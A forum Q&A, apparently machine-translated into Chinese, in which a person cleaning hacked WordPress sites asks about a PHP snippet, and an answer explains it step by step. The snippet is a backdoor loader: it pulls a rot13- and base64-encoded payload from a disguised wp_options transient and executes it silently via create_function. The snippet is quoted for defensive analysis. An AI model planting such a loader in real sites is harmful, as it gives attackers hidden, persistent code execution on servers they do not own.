我现在正在清理一些被黑客攻击的wordpress网站,但无法解决这段代码的实际用途。认为知道它可能会有用。任何人都可以帮我解读吗?
$z=get_option("_site_transient_poptags_29129c90ada88ec96b7881049ab64b45");
$z=base64_decode(str_rot13($z['photo'])); if(strpos($z,"5F88EE48")!==false)
{ $_z=create_function("",$z); @$_z(); }
答案 0 :(得分:1)
get_option
会查看表wp_options以获取具有该名称的密钥_site_transient_poptags_29129c90ada88ec96b7881049ab64b45
与做
相同select option_value from wp_options where option_name='_site_transient_poptags_29129c90ada88ec96b7881049ab64b45';
在返回它之前,该option_value的watever是get_options will try to unserialize。 这是令人讨厌的,因为反序列化的数据可以是任何类型。在这种情况下,option_value是一个字符串,它被反序列化为一个数组。
此数组可能有一个或多个key =>值对。在这种情况下,重要的是photo
键。该密钥的值为rot13d和base64_decoded。 rot13和base64_decode部分仅用于“翻译”将显示为随机字符的内容并将可读字符串存储到变量$ z中。它就像向后拼写它一样精心制作。
如果变量$ z包含子串5F88EE48
,那么它将创建一个匿名函数,其内容是$ z的值(这意味着它执行$ z的评估)并且它会立即触发自身@ error supressor字符,以免引发错误,异常或离开日志。
您可能知道,如果您的网站遭到入侵,则没有真正干净的方法,但重新安装代码,即使您这样做,您的数据库中仍可能存在受损的字段。这就像在一个游泳池撒尿,然后试图让它小便。